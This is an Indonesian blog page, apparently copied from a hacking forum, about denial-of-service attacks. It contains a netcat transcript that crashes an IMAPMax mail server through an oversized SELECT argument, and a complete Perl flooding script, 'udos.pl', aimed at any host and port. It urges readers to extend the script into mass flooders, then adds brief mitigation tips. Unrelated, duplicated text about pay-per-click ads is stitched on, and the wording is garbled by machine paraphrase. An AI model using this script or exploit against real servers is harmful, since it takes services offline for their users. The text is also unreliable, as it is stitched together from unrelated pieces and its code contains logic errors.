Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org
Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
SELECT. Dampak dari serangan ini yakni berhentiya server dan harus di-restart secara
manual.
Contoh eksploitasi:
--------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
--------[ transcript ]-------
Perhatian !, teladan eksploitasi diatas memakai NetCat (nc), anda bisa dapatkan tool
ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'
Jika kita perhatikan, serangan flooding mempunyai kesamaan, yaitu - tentu saja - membanjiri input dengan data yang besar. Serangan akan lebih efektif jikalau dilakukan pada komputer esekutor yang mempunyai bandwidth lebar.
Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.
Dari step diatas, kita bisa menciptakan sebuah skrip universal untuk melaksanakan serangan DoS. Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).
-- udos.pl --
#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : http://www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto=> "tcp") or die;
print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING sesudah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";
print "Gagal !! \n";
close $connect;
# End.
-- udos.pl --
Skrip sederhana diatas hanya melaksanakan kekerabatan dengan server korban, kemudian mengirimkan flood dan melaksanakan post testing. Dengan sedikit pemprograman anda sanggup menciptakan sebuah 'Mass Flooder' atau 'Brute Force Flooder', tergantung pada kreatifitas anda !
.o0 Penanggulangan serangan Denial of Service
Sejujurnya, pecahan inilah yang paling sulit. Anda bisa lihat bagaimana mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau bagaimana mudahnya melaksanakan input flooding dan menciptakan tool sendiri. Namun Denial of service yakni problem layanan publik.Sama halnya dengan anda mempunyai toko, sekelompok orang jahat bisa saja masuk beramai-ramai sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan 'menutup' toko anda - dan ini yakni cara paling efektif - namun tanggapan kekanak-kanakan demikian tentu tidak anda harapkan.
1. Selalu Up 2 Date.
Seperti teladan serangan diatas, SYN Flooding sangat efektif untuk membekukan Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 mempunyai option untuk menolak cracker untuk mengakses system.
2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' dan 'terlatih' akan sangat gampang untuk memasuki sistem dan merusak - tidak tertutup kemungkinan untuk melaksanakan Denial of Service -. Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara pribadi dengan Flooding sanggup diatasi dengan menginstall patch terbaru dari vendor
atau melaksanakan up-date.
3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark. Hal ini sesungguhnya sangat sulit untuk diatasi. Anda bisa melaksanakan identifikasi terhadap pelaku dan melaksanakan pemblokiran manual melalui firewall atau prosedur kontrol Apache (Order, Allow from, Deny From). Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang admin harus teliti. Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. Jangan lupa juga menambah RAM.
4. Pencegahan serangan non elektronik.
Serangan yang paling efektif intinya yakni local. Selain efektif juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, atau semua user yakni orang 'baik'. Pertimbangkan semua aspek. Anda bisa menerapkan peraturan tegas dan hukuman untuk mencegah user melaksanakan serangan dari dalam. Mungkin cukup efektif jikalau dibantu oleh kedewasaan berfikir dari admin dan user bersangkutan.
di kutip dari http://yogyafree.net/forum2
Semua Wacana Dos (Denial Of Service)
Wednesday, 23 April 2008
Pay Per Click ( PPC ) itu yaitu salah satu aktivitas periklanan yang dimana apabila anda menjadi publisher salah satu perusahaan periklanan, kiprah anda hanyalah cukup memasarkan, mempublikasikan, atau memasang iklan yang nanti diberikan oleh perusahaan periklanan tersebut.
gimana cara dapet duitnya??
hmm namanya juga aktivitas pay per click, jadi apabila iklan yang tadi kita pasang dan publikakan di klik orang atau user maka kita akan dapet komisi deh :D
gimana cara dapet mempublikasikan atau cara masag iklannya??
cara masang iklannya ya kita taro di blog atau website, (klo blom punya bikin dong :D )
gimana cara dapet duitnya??
hmm namanya juga aktivitas pay per click, jadi apabila iklan yang tadi kita pasang dan publikakan di klik orang atau user maka kita akan dapet komisi deh :D
gimana cara dapet mempublikasikan atau cara masag iklannya??
cara masang iklannya ya kita taro di blog atau website, (klo blom punya bikin dong :D )
Apa Itu Pay Per Click ?
Monday, 14 April 2008